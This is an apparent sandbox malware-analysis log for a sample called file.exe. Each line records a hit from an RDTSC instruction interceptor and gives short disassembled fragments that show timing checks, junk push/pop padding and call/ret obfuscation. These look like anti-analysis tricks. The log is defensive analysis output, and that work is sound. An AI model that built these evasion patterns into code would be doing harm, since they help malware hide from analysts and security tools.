Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659489 second address: 659493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B4CD second address: 65B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A607 second address: 65A60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A60B second address: 65A628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C567 second address: 65C56C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C56C second address: 65C5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jng 00007FB8192482D6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 nop 0x00000015 mov bl, 64h 0x00000017 push 00000000h 0x00000019 mov bx, 0241h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FB8192482D8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 jc 00007FB8192482E4h 0x0000003f jmp 00007FB8192482DEh 0x00000044 add di, 18C6h 0x00000049 xchg eax, esi 0x0000004a jmp 00007FB8192482E6h 0x0000004f push eax 0x00000050 push ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FB8192482DAh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B6BB second address: 65B6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C7DE second address: 65C7E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E71A second address: 65E71F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D8A9 second address: 65D8C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6606C5 second address: 6606CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6606CB second address: 6606D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6606D0 second address: 6606F6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB818D70DD3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f ja 00007FB818D70DC6h 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6606F6 second address: 660736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+12451C17h], esi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FB8192482D8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov bx, di 0x0000002e xchg eax, esi 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 je 00007FB8192482D6h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E8E2 second address: 65E8F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818D70DCDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661628 second address: 6616C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FB8192482DDh 0x00000010 jl 00007FB8192482DCh 0x00000016 ja 00007FB8192482D6h 0x0000001c popad 0x0000001d nop 0x0000001e js 00007FB8192482DCh 0x00000024 mov ebx, dword ptr [ebp+122D28ADh] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FB8192482D8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 adc edi, 7DB95A99h 0x0000004c xor dword ptr [ebp+1244A120h], edi 0x00000052 push 00000000h 0x00000054 push 00000000h 0x00000056 push ebx 0x00000057 call 00007FB8192482D8h 0x0000005c pop ebx 0x0000005d mov dword ptr [esp+04h], ebx 0x00000061 add dword ptr [esp+04h], 0000001Ah 0x00000069 inc ebx 0x0000006a push ebx 0x0000006b ret 0x0000006c pop ebx 0x0000006d ret 0x0000006e mov di, A980h 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 pushad 0x00000077 popad 0x00000078 pop eax 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660952 second address: 660956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660956 second address: 66095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66095C second address: 660981 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB818D70DDBh 0x00000008 jmp 00007FB818D70DD5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660981 second address: 660986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6627F6 second address: 662822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB818D70DC6h 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007FB818D70DC6h 0x00000012 jmp 00007FB818D70DD1h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662822 second address: 66282C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB8192482DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661882 second address: 661890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FB818D70DC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661890 second address: 6618B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB8192482E7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6618B1 second address: 6618D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB818D70DCAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6657C3 second address: 6657C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6657C9 second address: 665810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818D70DCAh 0x00000008 js 00007FB818D70DC6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 pushad 0x00000015 js 00007FB818D70DC7h 0x0000001b clc 0x0000001c popad 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+12479D3Bh], esi 0x00000025 push 00000000h 0x00000027 mov ebx, 28E830F5h 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FB818D70DD2h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665810 second address: 665814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6618D5 second address: 661968 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007FB818D70DD4h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov edi, edx 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov dword ptr [ebp+1245F474h], edx 0x00000027 mov eax, dword ptr [ebp+122D05A1h] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007FB818D70DC8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007FB818D70DC8h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 push eax 0x00000064 movzx ebx, di 0x00000067 pop ebx 0x00000068 add ebx, 767A5BFBh 0x0000006e nop 0x0000006f push esi 0x00000070 push eax 0x00000071 push edx 0x00000072 je 00007FB818D70DC6h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661968 second address: 66196C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662930 second address: 662936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BA0D second address: 60BA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BA11 second address: 60BA1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FB818D70DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663A14 second address: 663AA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b mov bx, 3494h 0x0000000f adc di, 3EF1h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FB8192482D8h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 jmp 00007FB8192482DAh 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov ebx, dword ptr [ebp+122D296Dh] 0x00000047 mov eax, dword ptr [ebp+122D16E9h] 0x0000004d mov ebx, dword ptr [ebp+1247BF12h] 0x00000053 push FFFFFFFFh 0x00000055 or ebx, 0C52C6C1h 0x0000005b nop 0x0000005c jmp 00007FB8192482DDh 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jl 00007FB8192482DCh 0x0000006a jg 00007FB8192482D6h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F388 second address: 66F38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664A4A second address: 664A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EB8F second address: 66EBB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FB818D70DC8h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007FB818D70DD1h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6669A4 second address: 6669A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673365 second address: 67336F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673426 second address: 673482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FB8192482DEh 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f jbe 00007FB8192482E8h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jg 00007FB8192482ECh 0x0000001f mov eax, dword ptr [eax] 0x00000021 jp 00007FB8192482E0h 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6792F5 second address: 6792FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6792FA second address: 679309 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB8192482DAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679956 second address: 67995B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67995B second address: 679983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E6h 0x00000009 jmp 00007FB8192482DAh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679983 second address: 6799C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB818D70DC6h 0x0000000a jmp 00007FB818D70DCEh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 js 00007FB818D70DFDh 0x00000018 ja 00007FB818D70DDDh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jmp 00007FB818D70DD5h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799C5 second address: 6799CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799CB second address: 6799CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799CF second address: 6799D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679CD2 second address: 679CDC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679E38 second address: 679E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679E57 second address: 679E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679FEB second address: 679FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679FF1 second address: 679FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679FF7 second address: 679FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A165 second address: 67A190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FB818D70DCCh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818D70DD1h 0x00000012 jng 00007FB818D70DC6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6141E3 second address: 6141F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6141F0 second address: 614209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 jmp 00007FB818D70DCCh 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FD88 second address: 67FDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB8192482E0h 0x0000000d jmp 00007FB8192482DCh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FDAD second address: 67FDEE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB818D70DCEh 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FB818D70DD3h 0x00000017 pushad 0x00000018 js 00007FB818D70DC6h 0x0000001e jng 00007FB818D70DC6h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 push edi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6800F3 second address: 680109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680109 second address: 680121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FB818D70DC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68028B second address: 68028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68028F second address: 6802AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DD8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802AD second address: 6802B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802B5 second address: 6802B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680838 second address: 68083E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680B47 second address: 680B5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680B5B second address: 680B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482DEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685485 second address: 685495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007FB818D70DC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685495 second address: 6854B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007FB8192482DFh 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6854B0 second address: 6854B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68566A second address: 68566E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685B85 second address: 685B9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB818D70DCAh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jnp 00007FB818D70DCEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632C57 second address: 632C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632C5B second address: 632C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686845 second address: 68686B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482DFh 0x00000009 pop ebx 0x0000000a jo 00007FB8192482DCh 0x00000010 jnl 00007FB8192482D6h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68686B second address: 68686F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68686F second address: 68688B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB8192482E1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6850F9 second address: 6850FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6850FD second address: 68512C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB8192482D8h 0x0000000c jmp 00007FB8192482E7h 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007FB8192482D6h 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68512C second address: 685130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C6E second address: 689C74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
